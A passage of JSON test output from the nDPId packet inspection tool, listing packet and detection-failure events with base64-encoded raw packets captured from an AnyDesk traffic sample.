bd2SmLGZHHHOpFZi8wNefBgzsotU0zTSZVelGiQSmXrtxJgOPBy+\/2LeL5Jn+NWJ17l9Vd3QVWa0sGgLAvkiJlpILLojqNbQetn5Cfb8POXyeKNCzAwSyq9YKG2eB8YUjxgiSPSQ8LEFX+RdDSMU0htkII9oHRAiF9Cw7+3w9tNd4tOxO2fVCGGKd6G3CNBQL0n+HBMsOdzoeFIyzermNhSIoNC\/DX++DqkWq1\/qxDOFnK6MkfdfqgOfWB6WpG300Cnv6R6vumI1hnBeympemKhJB4x1WWY0LRu0HN\/kD3oE7aA7ba9X9QDd1NtTLxJQMTziEGo7OeHRG8ETdi9YN9gbqBFIWqxFaNoWXqlEYPPzyPI43td8zdtilWQ4dKbTaXH+E7cawaPqC9NY\/GwH50i6GheshA\/04SWz1wGUklfPAo8IW8DHYEL4MdUqgz7sfYQaFJN4264nJStp+kOENniCKv7VpXAFEqiMqDK+3hXO7c1U2WEqFRtCC5e\/wOz30BhSc\/UXn5r6WT7drFyujuzxK0ob4brS04SaAOYD6p2\/PxA8yq3Abd9Gq94\/hdytC+nuOI+En6QmO87AufyXoSxkKu5zqqzu+W1nbAk8oktTsxmiUwY3VDAP0+cgWASdTaVvZpi7OjcljhIG3kaYjbGtTNLagt2e69btR3yL7FYs\/soBLl84r4bf6SmTc9cRjczS23h138KZBYTKCqpCLyQx4hbX5iPToyG+3zdu32Oc0ROyQb6apH4o4Fh2RmhXotxjbvlYrvcaHxzJ2C8vLQXrPchgRq3jm35aOYmMlbkuSIzE82LtwolC6dJX8+hP0+39\/\/u1RK3z8baxWIu6PEVQkyspz\/vNOEZs1YnPnoiSIFgTSvJE4\/OqBTJxj3D49uPadCHVfD7FPbZjk1k37cDKLMlwZMWTNBKKVeXmqr7XWoi4sFLXCMHFOR5Ev\/9fdbYSjweRrLjsqH+bHtVrfplMjBwiZE"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2149,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06224{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2151,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":137841,"pkt_caplen":4369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4369,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhchAAIAGAADAqAG7wKgBstOUG56PMvzMWcRIL1AYIBKExAAAFwMDENZZ4hNO+msXDnkWiuVboPqhn+WDDM5ELJ4Ehlf3YaoMwqHpBYwhSHpTtMpks6F3ld9yaesjTwCFr6u5GwiLjS0PSeCULebbDjuAki9TQmvxpg+SRdF4vLm7bCYtmTdPnXKczAJoULu1acwxOykk4MGk5K4OpwFL3oTDp6n8rfRf7vMMcyx43iGeNCK7IDMdNI+IdzsElL5UMCmCg\/azhuDycGUEG8h\/1PrFGlnx04j6kj2dv49SALuEEZG9ydJauvOKsaJi409i0uZr6SXbTiXsR9qv+8fpgcu\/pqMK\/+8G\/vnc3BYD19jMCeEzKN7dU2PF3OWMaArrKTwLQm9AuZkRaFe7KgAfFr1PQWW\/Dg9ov23mnIWObqZnlzpmufSz7sNx0EsWz0ueF1vXzjos1rrOBAp4O17DepBbbAt\/\/9Uul1Anzm3bN77I5VAFVewKPEIuNvCrJBcnAlgREMvWtwNIc09fwtkGPOsxpjFJp82X4cFvosfPczStjp13B1oIw3gxLNcuCepdbsViueoi26LUdm9iP4nfmdLG4vQVm+YmtsnEPY07C5rZZHtPC+0DnYuVoSeWkvKm3ygZNaOrpth\/d54e7d3b672Rd4oUxTa4Jn9DgzrUR+X8WEga0p7vo8dyXbtQMlH6n50hN\/OGtfwQCypteuxUVp+jKZhknentNLilpORXpvqTL5JbTC+b5uxCg5sbU3hAURdzQrDwU1bGrKXo751EhRFzPXUkzwcuco8Eb\/tKP3oDz8of+o3cQfrmqkZ0F8k7TYYFec3Vjf2ytbsYg+3BQwDyDpwFPD6KxXehGCRfdzFmzcjL32ntusc+xgKI08CEOawJ1X6U+8bV3kygMqavrP\/9TqGmRnydi4HfLUbG1iWONzq8y3w7S56asxstXVf4\/InoABeCqsi8AqRLfkUVOz4ZQPWaluaRaKiObVarYoAqjl5L6jeWs9zHkiU7dz13UVK2zX+21y4QDjFduhihPBS8CI7R89Ab3x3X9MJt7loFrZLPvwSqrd6yiS83HWpwhtWXOu9kFk2O0s0tiRIhESc7PQCvU2+MRYrGvlQI4iSbeCogVK2TziNULF\/y+J2rT9VSnQJL6vf0H2ZmlNF6z1mapZmu3ZMMrUDKxXSjwmDXNB0HEdNq3AFTm00HwZ7YCcC+7FJOYkCsf7uzKRVPXTvOlFoueeCsiwByzHJKD00fKq+uFlYmi6sIsV0fDv1Eu\/UjRFvJ4Eq1Gpfswx\/Ip3Pe8P+3mKZgIdoVtZK+LpnsKqRtudif0zwEniObkCwtnsvTjQlCMuLmoLEt7KG\/86u84Z1e5fW9cVVh\/Kn90ite9TFituQ6cm9JOMdP\/N9YlZT9Hr2X81BNE76eSt0+uTXnkf4Ln83sirXoDfE4zITHYdPPnI3gd749Np6Dy3bktdGEdy8MDatihNM6sdlgTZ4qy12PqdEt4XgMBeS\/6Wb3UIRk+Rdz9lcGUELK3eIM0MCx8bk1KkTmfzWDWBNY4s6sfl49JNEtRe1+k9xbF7LSOrB1eP2VoLeybxKub3qt+WGrmduOOuVGzxfw57+ABtnaNBzNEas00kdCE4buofprlUGb92dBbU1E79idy1fDAivDR2xePZ86L+nF3T56CQsxlEtHUGKcFhG4Q2azkntnAhXugHGZcfXhNMX1pIz+zmbfZKrKAjFidBQ9R81Rj2cbKili+8P08VUDJcAPHpExEQorq\/kJlLtH8V7pltRz0ET4vFfne8W+\/m5SWRaHdciSO5nV+f2O2gDERx206s4Z8XB4081doawnKp7kR5QDLh0qUmQ2nZfarart0XSs6BHOB1PNf4F74pVxsalB9bSMK\/lMiaN4QkYgI2JuvXRTVVNbMoR+qVIz8hi4ujidizDfVULrnwgbMb8+EXf4mThdTJxiLZYNnETQIg5E3YeFEHIYORlOuU7wRTo4P5uwp7LXQEHRwO0P+1fUnozQEZj7th+C7B\/1\/FPPTkl0IGN\/wIvnuHRlPKNrYcYTDNu00j9ZitxYrrwxd9tDPQfofbt+uBYyIjuXehFv\/2YFejtbnwJsVza8WFuvSZVFS0EECpcrNSvlKns5KA62ER2Cg5AloZzsFUmMsN2ms9Kd2vkHQTfuD5Wk+KbT6BxE+c+qf7NIL\/TomBHGam2EbZzEytCSWQ63KRh5PSUs2qfmTP4lxsiFv0v7nNDbxWK+T3NPYXKnN9J4uqeP2Tlo5b9Arml3ImPwtszJtGcVi81\/yofVjWRHa1QKmyvk20wmLqapnHyxA0rUSfC+AXbBCmUbt\/w6PzyQCisP\/WLheh6jqIokqjyh4vxD4RMHocN3rM0upknEMgSYKf0tmj9OiDY+gjCWjHQ9a9XRCT7QXRdPkbnAoOAI5I\/rvZocpmtfcJ9Y\/As5LUuJ3X3Y8w\/Bvt7WlXWwD3AGxdvcD9JPb+oS4RnRLHxh77IfbeGwTjOsEOm4EjlQAiJplyxvwmai4Id5a3t+yIHTzoOl9\/nGIVH9GDpQwU7CN2wP\/oV95L1Rb1i+v6fD+3GLPMsiDZ4J7vrVIExXEVr+wcZFtm1+QjOe0IoaJxXduBzN9x7Kt76ZxMCIG+qwC6oGFEo9JwTCO1MrrYersXZ5VJUWwmug95SaALLD6VQFJPElIR1JSK7n+CYPdCsiGAcJ016ykXXH8wn6qPkrjNG6ZA6dEgBRp8nLm9k9UbscHUcz3asXjRIVRakio2Zhv5w8GDVJkqZWsb1WDki9jY\/GSHDB5YeQzFUILzA0bbYnTg2kc+fNHoUcnadxsOT9B7nvyyJBhG9r5Od\/iKM2crE\/0a6e4gDcz7CSrYjPo0io1zepyHjftrS8bWmiLG3iCVCWCc0bTyTUVeQZWCddLBquZuCjcgiOSdMgIXPSuo43nsGE3+zi9eI5HCa0hJCH68aaugkfB\/7V8\/3dFhWwBr\/\/Njb8CViUcm4YfVqt1gqpUxZMp77BL4NrAwi7MsPLGC7tec7lJuqglJFl\/iXnQv1RiAhUUxwU+tQgFpY9a0agF6NixNRDgTBK7tVHiYp9qL\/5pxDq+RUoFUNva3+96uIJd\/RB3N8qpo2SqA20AxBfjSd\/t9tDtxnLVteAMj7ODTeWhRsWkHWHTe0r9zdd9W0JixlltYNTq45lCWyr0fZb3YxPyvv904M40C0OSdK6jZQEwHcj1yNPJ3Bj6NKOZNdxUoibI+aB1du7jjyamT4ZLISk+Fe1s+yN5DX8EyZI8vBltfiNVONvLYBx4C75SZFpVUtKGncfeOU0hbZHzFjYbQwb6N4irYGa5eVMIRTmwsIiDUQgnZQUaW6RrzCwRa4bsVWSDvjCZPK\/yxQETkl6PW+mMM6YeSeXBpd7Zo2Vtdl0qVSKcVJGFoS40KgXA30JCPG7bVoEPrKwSkiXPbHZTddBI13f\/E9rBzORMKQMm4IAS9W+j5gy2Dz4Y\/35XBpG13LQICsMiIrczkrsjJCTOTvI2NHg1PjUMiaHdRT0B+bpVMPcO5DQ9GihCXAjT9aNTwS5EWUuk0A5ytlxeGepM4u65BMyuQT2UyTZYgUFDu1wXIM2sA5cO9GWyIZTlhEBvPFZPkBA6YxvB3nHzFvjYgbm6RQt7mPH9zPQewQboGgny90IMnFrKPXGz\/snYaoCZoJsEgnHrC2WRtAr1WgFwz6BoKvkIbxUBaTA6XJ4IXdgwhPUmvaP3ElmPZ\/vMfN5Gn0oQOAjVtoXZOL0XNZ2PrPs2EwPL4jRTMd5klJCW61mSQAjkor+m3le4NpiXNdzZhDL0NvWocktjXNSO+vWaqVVkr7Cd2jH3DrGdTQAGmoNuQF5N6HxOVn5YLoN\/IFT4lz0fgTt++ZW8VNA9\/cQ8SJsrBt2phI8hD1WuTnQBQG9qJfLCW8f9OBHaWOkiRLtHKh5O3\/YGIZ\/04RQwHgvmE0Qm3Sp8+j63AIpTvCOv6\/1PHjvCLz5h7HRJiTSK8uADPRCg9O\/OC6pA8bW9WgLZv49PGfcA+V4UCB4zQM7TKA1YZnltWiilHsmeKFST3QfIl18IcKH35AFzP0eQyAeMi\/nHe8cB2mt84rFn3IiMjZoFVqxxBC18r9IRISg4PMbF3OT95HY0AmJXuhggqm2zw3gEwGZAbxA8dx7e8TQbyDBiIWzd42wiHVtI+TcvjQvNWrIC5ZHEW\/6uALVyckBIOVnFUAPC5HXiV9EdelJ5VdMpH13rfyVyPZcN+o0exOcrtKIXfDONI29MmUrsG\/\/ZDOfvmZnmazNCe9o64rJPydEAm6bQ2\/jpB3tJiCqtYP9kQKszBbn18G5FePqd+U1YqvqB1UfwpVVAR+MYGs6+x6Yk4E+Cfq\/2piKvMho3IpVbBgQc8QYX6eICyhoq0GlBHBA69KBnXm1iBUvitBl7J1UWu\/brH3\/vltWdE97AuLVeHeOiDLtc48t9Dcpy5elUVXDV3fPWTw3Axuo3reRVUBvrtvgxkiBovM8317NZsTysW\/jFIH8j0JkQUVi4ANnK2Wu4m7oPKhPC6Qt1\/w4YsUURAiu02omfJpmqNJLoAlrv6L8S1XuHROsTlBwS4jm\/ErUnOz2Uuxh2RQmnPzdUGYF3FSgQExhjj0OnPTD+LSfFiR6vp9nanyZK7YeiYBItkOWC216lKZLmsspyVlKH6S9paT7ERHmc2feIL0npHcZF9GW72lzb0EOXF5ZabgEQgSVPUGZQlY8BoiGxvcFIgU1DADp+wBM4Ff5Gt2T\/fUDXzQbep\/\/qT5WSRdSCpNxymHL6VvF\/Vw0HM4lfZ7S6b5hmaOmtmsUPO7FwYjZQm3cpM815KvWkKw3foUkkTn\/q4UPtNwKBXmyoYsf9Pf6Es85fqQVHNWdla7kCCzd9\/l2NVueCi1ePV8mGKWla86bOdEuFv1Ae35bKrTknMJCi6DRJz3kqT1mo9s5kKtxlYPoYh9K6Uh6T6esunhMUi7eYtc97GO\/\/cb\/qM1gzduvE5SadTibQdWZSG2zZuOYe6ObNEYj2IyYghnCWPpUasavglkzwCoFJ46Hn8J5d6vva3QtcMfTea5exr5Zp5w4cnls4gM2+oPzfZ82G2DekkZNHxyYdZdSsziehHb81gj064d8BFPXLxLWcVpTuwkDTk6YA7lUDGdB7qynrCfEPEuXN0EZu\/wkDowfjUEsmB8Ki7tQxDjpC6iWf7NDehgHcY8HXR1QGyPYbuF0Abt84MZ\/L0zfumfu83mfLk5bO9Lx1t5jWPm\/TqVqiSswE39I+qm8BTNaC7sAT0oL2MhH9Zxqq44z7HkCClPjaMUOLSdmYDN1DcBzrWJ3rPoJDGdDI9ZeDE4YzVvNXrAhKgu9YGsGjgQ9arJEYN9bXp\/++EwV8R+YXY0IUAgeTnXmkuiKMUlHjC7++08okD5MVv0AZ01lYE6j0EyVllBPOQxLVzdwyxX1Po6zEnkv3kls+8INjrCx020SdSRuOMaB5UgynlN3blOYjgt9P2fb+fuYjTOTaZdoD\/9YyaozUb2DN+nmPbQA8jpIYtNCxgqRUkFbWhtok+v0bGHPNtFD65GoVnVsSWy8WxX\/bu9rjotD2nuQ0B4gSz4ga7i5uT6sHP2GYYDoODJFsN0t6g\/IPNzMQ\/mNYoV\/UV+MnLQYhM0IDKagDysGkkZPLmGaWZBGTwni9beJ33cn424PomAk4v2IvRpGU9ZrUa1YHFwtwYssNCGYqjCm7KOSXXNxbo4cFNnEoBUMEyL\/1NBoqY1Fa\/N\/y8LQESYCtDyg\/zODWd4BMQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2151,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4335} +07816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2153,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":138321,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhctAAIAGAADAqAG7wKgBstOUG56PMw2nWcRIL1AYIBKExAAAFwMDFXlZ4hNO+msXD2sGbQJk0CP2NxcThCdOXjP8S1LsPo7rOBlcOxjiTOcMppnNaiM+Lms57dDNmSBbnhPyfHhljfMVN4PAnMWOogvbWLE1uBLaoYo01dxXttOLsGMbIqAPTX3qtmPUrv+T61euU0EHy1lYWC6FXNktxu0Udn0RtBok9xE5Y80HKzdnxNw8cZ25f7VjBlup1zfQwIwEy50Bp1Z7s8aIayIqLRsBd2\/aMBsGYEKVwQreoY5Z4VZS6SZp08E28O9\/p5\/WRuzeVFU3ZayPtSwapkETAHfD1YhjVZCKqvIbcLyNxwpWWwCXjvG2r7\/f05xYdCs7KnyLMW0mP45N1x9N1f6SgaiRR2sX+hAkvfwbcZzM6zoxCkrMKxepVMfUId6d\/b\/0\/yOxBmG7xd8tFVyos3Twu8+\/XO+Cp6B+MT+zwu9d25PbfUDRfS\/\/7NJZIrXvJao64tplDh5EDe+nimjt\/+2dhrKML51oVRue8oEa+jDXfYM7tK8RMWucgdBbA6YKDLHe2ccJQQqvTNG0+\/9vD8KF2fUoAue0JUZ7WIjZcoKF7+0HRJxCNWwrctlBe5GLUbf4Ld9Uhrd2RDC5R7YmcKsGcxYjqvJg9xq\/bVPnC\/cE8taiijvp1cYo76Elbo4qBhvvmyRigNsheAGyKVBORqXRUjcodL5FrIMtQeiA7cPcj+LzA4QCqBdeFIR1vjfYyT0sMC20ist4yWeBy3NsuLglaHPRLD+DSlCMhPkjEFQoolcF5ticI0DBdI3GGV1z+0QyzE2TBMrZDAO5yDgjVmL5X\/EcWDnc1V7yFpIVjFTOZNfWSYnvvwpy\/f6gzAE8L2lrNzreUUMSjc9DFLaITI4Y9HbPl0NcBqkKh7TCBmjjmtBPKWq5B+i4OVPVjbmBkCZhxbwRvS7jyxz4v\/WYV3yYEtHbVIk\/ImuNMDibJxOMsnNVC5uh1njyrKsKF1AnbEL85g2\/LRWcgQedTKOSVi+x\/eJd40waZflDh4senm9PMkELMFOBjCBPMmf1SRMkP1ild6lVeM51jhSLX9zYgDy3ktQ1HsKSn9y1l0KnKfEgMfAJJ3Vcitrj7dYmOoi\/W9y78nijmgn\/OMWBMLjGxN8PyGGu\/8U4F3ZyRr71W8IKvbTldEU7+d7gLrdb8Aw9I8VuYgETcUsPDfJGqvdvFcRZRGbSiEtyjvJGQzfJNcYTA+bwf8LOq7Ry5RiTzHZ1eV6p6SbctKVC6w5GT4Ma9luOZshDu3S8iwzVE9ZOEfBHnqMzn1ldkZWUTr9C\/OQ8IooU05K9oYTN6GSVzVhxZ337yegODCM0yV9Fhh2p7uofO6\/CHAKxvBAr8yriOw8e3TfUItHA8CgeZUTwkgHWptfniKr0r2pNLvxOHHYh1Jhq+eSyd1eMFd2vLKmRwPTp8ZIA1FX\/qiMVkhGMttRURBbU2\/gtlsIlkScpdqpTC03KItIBktMz8l5ioJ49Jhpz+Vyzy7BR4tMjQacBorPmP1eB2ApxrztOp0pEeDt1XiYtRCMiGDbmn5DQY0vrk3rCId2TLlP3zEwU9JqGTTo60h+Q0fbelLhLeNyHB7P0IlE3Nm7pzQnfaKCOpNJKBFzsDaXL0SL8hLGbwhVTZ7icTjbz8lwEy7rmRD1wyGwmUeKJQv1IUc3FeCjsl2FLbp++ELkQDG4lAVgYDHGVwEGrmwtYRUXfmnNT2eSmmVY1gy7eb\/9S7ttVQbDGM9qC9hqQNaTaGJ0Q63l9+6\/b9shPiDLh8T7hk\/PRfAEy\/d58c1lz8tK7RjppjT1gUl3fikNgRX+1twisISHU1d6F6lFFaChEiCWIh0xcE0WXp6fIOyWsMFj\/e3QsdG5AnTA\/TZ+BeTWzABFsOKPx+acuyMfPuFQIH2uhyNjWWoiePm36ltj1dMhWQ4Yh1InlnY4othAhSqBHNBPEJglbVlCq+aRPbkUes6TSBEfytWzM7blbc57\/fulkdbUSC5WpySXgQG8oDilsUgR4lm5A1LLJH5z62WFOrsFc23kvmUBo4e\/2nTHwquAn\/ksEOz5zPCtjm7C7Ea1ufH8cS04wTgpH14PRLnZukSGT+7zSYvEeSBFi0oafwPaDOXBT4Cq8S6xKp+\/NjI4U8SfhEqcpr+sO8yHpvq6KUJAxpFwIVvTs4Qe1TViqB\/XHEVOp71oWXAvgTpKfT30vQ6\/JpndfZvvl9ofHtJ52xoTglUKx+0TwjFW+UWkwoMagr842eJUXnNVBpDRZr5TKfzJvs9+DmjlbQNITOiaD9RnV\/F1qy8dTe8paVnw564DSVnSQ5Szk67TYtJ9Ob79If4P2d87o5JHVZr+j2YsvunzUlLzK53ELVpm6KdbAgNy0mOftBkpCL0dnrVxCjOp1a1SMHLQRPVWlR2440DN0TXIlsugT\/RY+CrwN3C9KkF49GfuZ9\/v4t\/L5d0awJHtOJFY+UOm\/iJri13vTZWZyPTGtoKkvv8rnqv5AD3JdOlHkFeGi8gcaN5PQuNoHvuf0bVgru7kk2QTWcfQnAVr7odZTDaNptFu5gCiZE4FqfC5dH0um5WPIriXSB9J0AYvC0ofJXxCYmhnHL0qeQYCAgyXNxYpC+4P77LSy5lcczwcEVIPjqnXItYucwV3xiQ6\/cJIVIISEOCw4AmDL7Zwk4RZWJ0shmrV63C4x69jWGxwk4RjqHRorF+QtBoASZO1JWSN8qCrLymbYN9W69PC7AQSK42aqDASphosYeRaf56M7xFe9Ls3eVv4YGIUjOqrp8emlDD6m50IZLG8MqgnalVcrr70VZs9thN3UQCWpIsoRcWep4Bmcd4xkQPlDopGQym51ExHN\/Jfpl8cHFnhX2jV8c4lTQS1+8XIv6hZYrq3aoyA4ulJPJGBP8zwMeAKEZRueHP+8Gqy9wpnvVnT+z2wyH2Ydeb4QJ\/moo7qK8rbi4HR\/HthHvm+Xur7giNKM6kf\/ntXtKoNt01nh3USXgEPJTBJY8jtxYoKSU14kOlrBuPCTucsRGhviPNq1tAgvU4fnRZDDh3nRaeXM3NS3OXJAEiwMaN6DEFo1ja0zRKgWHEf8eQhriuXcZBXZFThYkTc8KUeRGzGBOemVOPPKdsPi1fXMt3gp4nRF5zUpTSfwzej6dULIMqiC08JxM47cr65lZ7gDirBMl6E3FWtUQvQbiipF8cZwvgYdJOKk7f+6pvcaxi3FrwqFuFKqTalL1A4CD6Tgn2vya1BrnZwASRr7IEeF7wnQu6umgawrbrRDNVhVlOe8dRfrav5CcdvsEZDs0azIV+pfqInH2yBMqCu26MLiNWd+EqM5qqVdnYAfR2FlcJ5q2XmpEZj4APA+FozDB4gd2Q4dOPx0sLvEwqqHOuXozI19aD\/SruGmygFBquBSpLmgHuKiYuTOqtwB4veDfJpUyKVxJmlGb\/PsbbnY+Cs3Tw5iC3iQdiFq1tI+3VFAUhKvbSmtyrcWna7Q6m2CJV5On5WbXRCWKQqJyG4RPZ7KCJC06KvyaJLp6VJSb4EEAvIlVyDpFZ5+1t9RLeO\/hUNXBgO+JfWbkoModeyfxI+Eo+gI+47ZyFAff01EwuamImxwmUaiJAmFeK\/hlr3M8SrwswourPJ8TicFYGs3NRptZrpiH+NusvjcjZOVQpCXCu65XQJkbOTqKS8NgcjL6Eehf4HAML+MNrFbS67buFM6IdjW+fXBW8WmJRjRkIVYJE+d3IP\/L4WLSrqZMtipXR0W\/nGK3CsRynKtcVoD9OKJJON8BTD2N85O3Ov3XoSCXvCQpTt5W+18wcCqEYAb1383Q9NJ94s2gGTvlkL6bd6Ja3dsfrbclAtQwytxVc2BsA8j\/n0r6ctAiVZmCwA6j4n2qE50IcEbBJ7iV0RiDPJjfQTJhAb3egCvg1SCbi5dF3tMI6SwdK5u6zqypYe7cehulI8seV05FF2Euo31sJl2Dx7ICdL\/Sv9Vr4kPQq+CWxpb98hmLKoykZUEkfYQ3xcqGXBvJfGgiAN6h3RSGY\/Fm2xzwIf8Mgi1qPqy+ZL\/XtIWs\/K+VUf9HixOktBwg7tELxoQYq7eTt4u1iq4VMQBjcu8hzugRXtUgnGERzw0cX1liRouTXAFyYj5Ls4F9DCUIOdDfsH6Pbhov1hSyWWgVSic4IZon8JHizO40osbSUkADkY6tbaoSt4KJbBkDK5pYU4+KoIE0yQCVZb0CxgD0SLc5jgYfmRlPEcruKMvOn1OpOcKRrfdD4mNn\/6fnh75ug6wgDVsoNFWnS6lhSf3Bdfh4DMI5WpnEEVW+5c75oeokgbGy4bFSQORCkgc0mHpxArmMvZmELRM+aSnADRQXMeTbjXpS5OIGhojKb5TEY8sWHh9Udkj3G+n2i0lzovhSlIwGjUa\/88SoFzguqZ5F0yjcbHLxz7PXlWTU3LhKkPY+dH2DcrU3UUBZXJdMzD1Y+\/ooZCGBI1OdyJGB4sntZ9CMiquYST7zBlz3J8g6qLzRRL6NVR457cjYLhjlK2\/rY5dXtThYTJfz5JuMIwsw+TKM+MMfVWUB0G1xbJHsYOJC9C1LX7BMstydZv+gc\/mlW38NEqYol6iTz+J6aQfIMOPnQCtf3fFtcO9lVd8YAEJS++oWFcXsE7A+njnsC7zrCx21xUKVZo54KROqdUt1VI3aLq3PGKxMp8LVfjrKRTpJpMinxI\/SzqAP8HxmVxPKJr\/VtRnY+LiRZW+62M1sCvQn0fGAQDocDQBydOTWAdu3p8yc5lLBMzVtYHozZG2eH\/tAwTgc\/Z3drHVPBLHGvBqn5VYfuAY0L\/D5Tf5XlDRY+PWCP5yWDXIijE5hcrj1fUoW+oy4lzZ7yq0ENlxpB0yNFuMUaDhjn+d6c0elgmPBwRd1Mo7xrN4qgFWUcfIZgpHb7JBo11Acvn8RuX76Aqv53+6ohto3I1LxhURjb+VHthGO1NeEfkHD2CtMH39NN7Bn5ubiRVQ+aDEqAa3sCCcrz7Vd5\/+9zMi2RKYCR2jJsDaQdjte3Zw3U6Yyup8UFxmR2aqQnr6ktYT8cCM8wOYXaYay7Fl+bnAuwrjqcKVv73s+VavfPPRBkz+33roowqv\/WvfcfgC4B2GeZWEH9f0mehnlWr6tTPBv6dAOBphVTdk9CY9ddBN9MVPK0HZiz90T\/4Qm7gAYgFRtt7IlzbWOPypUxDLUVjC\/ao8ZEBfepKC0O5VTj3MtdhM07AUKW\/GcikRzzpmPcpnolg0VIdIkEvaOZK97kJy7J08TnmzL2jcSvDdclXqmK+EdxIRyeV24V37eoc\/qd7yEC73bPG50Bi0h8GB54wNwcnqmdMQ18c5ET9XMt1Hz+o60lGMV+1X0oJPnYkQIsN9l858Cr7MKCk5RzRJR959kobAHpx8MFeArrTY\/kniI2GSqpf5UXmQDRv4tKnTTTo8sg7ZuUlU3CWsxucFVEmyS2fUpfPkTpkBfRQWwKAYdkIpsIxHgEPlxgU7w24s\/mdSGIYkaeRC+3m\/pyEvGU5bb+fK51f0tMx+i9JQkDLClHz8kZpn9bq73fIFk4VTNtLPKKbD471Z52A+H34ENMbPyPjjHUYDF10OP9ypdYYK5KjuCeSJnhpdt+DBeReBxEQmQ9MPMFn55e7ctBL0W7bzbAsAJy4tDiuqFIjoMsm+H7b5ZWODkSdif4gDMCJUYWhzvNZS7tfkrSOiFDyZ588RCe4\/QuGyW7zcfRXuCnAdBFHRSJpl0qdX9vZpnj+pK9Zf24vm+2eKOUqLtvRPMwbxmCM7tU3BwUkB2fwB+V07vdpWHAEWkE6kWyDr++v6Bil\/ELin1Geh7hJzA7tHfBJWqkhWNo6\/bzXvNf4cfaI0LEYWfm5JV4qL5KX0qMT6r4U58BzYJhHTfRD1\/aq1UUUIobOejxBTYKsFqmhc7XUpJlVXit7Y\/OegWkC1MCkmDtFYAw9EoiiZGPN2fM7\/jI7CrBGbZQiwCOX0byMphkDh4PRCCNOHayAFfiQeEhaPnkPhxCnGbIRbo42tX+6LA0clNm6vURlJPNUIQg+0R2jTdxwBiGlBtS\/Zb09Hvi6gwkALvS4L84FvdcCxgLVAOBmhVWq4vPQjW4UFvXy7w5rhF3PM8MYzye4u7RBZ8BNbNYdZIucZZesolNTjURBJOORM+XcfVgIyRhnFAKT\/Y0QomT2c0sv7NMWJ\/qHzPtoPJAir09lV5hBBUq4WOZPBVAx\/a7A60EuwAwdGtQDRmkRj12L0q6mPKQXJwi51Aj0tX8fzLsjiqXenol4oRc2sTdpD279x4\/SKs43NJRiU6nZrgQ1PO87WQLOByUFKSqrER8LbvKhYqmUv2iQQ6mWf9ihzFTvsNyKdnT4IPdB\/gdT7XcMcprv9s6m12+9BTDFNw90Axw3ORguHMmzSJncoyjV55h6OjguR3Zp+cpZ6HNnnrJsYj2IvBl+FA+ANPvu+pQ3FKO5Yoa89sJ7IMV0kuHZ0I6PSsFWOgwowZCrP4JyWZh4PlHH8LW0nxFmhwZs+kjuOM4dOUGJ2XhKHFCVeWwm95ydE5CRvzo\/L\/xjJ3yjVSV9Xlmbwmq4oIk+35\/6zrHdAyLtJ7rl7OR1Mtb77U2oWeSYfVPrxMmpJ01JlWsY\/fLUgZphKGRTmXFdwRYxeFWHFPI7L3XMSL0jZPdOFrmGRZZwLbk31kGTKp7fBQ9Rb7t\/wdOIoWPr3s\/ALdGDPReBDZsfUaU3JzmU9NN0muYRF1yWchCHAvyyUQfzkh3svfOiUIAabMlAoDZJkAHXayW33r840HnK3RZPJtBvVbjhib+be4dsKM4aJ2dKd1XuxpxD6kcdAohECoFWdvG8l6mN\/frN3i64OiMQB9QE7uT921LjOZbOPRZAkS6FL0FIkoYy+JzJDlf+N0xkjd3PmfZS5XIiHqqHErJfl4ekvZLt+92tntbeCT94H7Z0Q8MhBG0rOFAgJbo5fvcFmjFWQgvVG6VJBXUqKbx2BCYGqC+PHduYZTz9REt+\/QZeY4nAyLqmtddWNXr3aJRqF286JQt0LFj5EJ7Q6Va2aMVnujA70CiFH9PfAQVQMGeRb\/GNA5s97Y8FNvusjr82ONMSmfBNR2kq4EZdBOcrFe\/l8NjtYv3j5arOaJL+5kTLJNsqS92Yw9OOlA9CnXna4fcm4cvKVA29l1190rXO4431UflEhk7mXXOnkRM9HoCKbcWLTACLHv2ju3XBuXRI43ufwc+HOSsC74ZA3J3goftb9+902zJjavceR8UDefJqjZjBXvuad3U0AebD+vAnc\/hLT7VOTKUkFwY8x7lq4Nte9ZHlg8wfiMCr9YBoP7vv4pRQ3DxxeHkprlOw\/qNEo0muRbdYR"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2153,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07833{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2155,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":138386,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhc9AAIAGAADAqAG7wKgBstOUG56PMyMlWcRIL1AYIBKExAAAFwMDFXdZ4hNO+msXECu+F\/Z\/DYkuxAnEeVo0SZ2LO9BKZpHwMHtlEFReGYMaGtTXsBIaJvtqm912e8OSo+TTTkTHwm44PNgaX\/nujh46TLrxO\/DgejCpWzgMWfVxdoRiIfuHLOQqtk86WHBlsokwLJOF9VNXyphP5mZKsKE3m9bwlEqUU1NNv5vOZcmBWi4D3cZurDzTh8Eow9M2O8jXaN1s6is9XX74xQaUVhyVsaG8aQmTKW0Xt+f3YlicHR+fPnfEQ9MfVxrMZsLeVKGzDdvpTRhZRgMKSdQ5GCo0CsMmXAnpV8RfdUSUd9C1gKixG463dqRTKWMketknHks4XSDfOHlrID4en9fWY6+g4yOKWmCqjhiZishCmd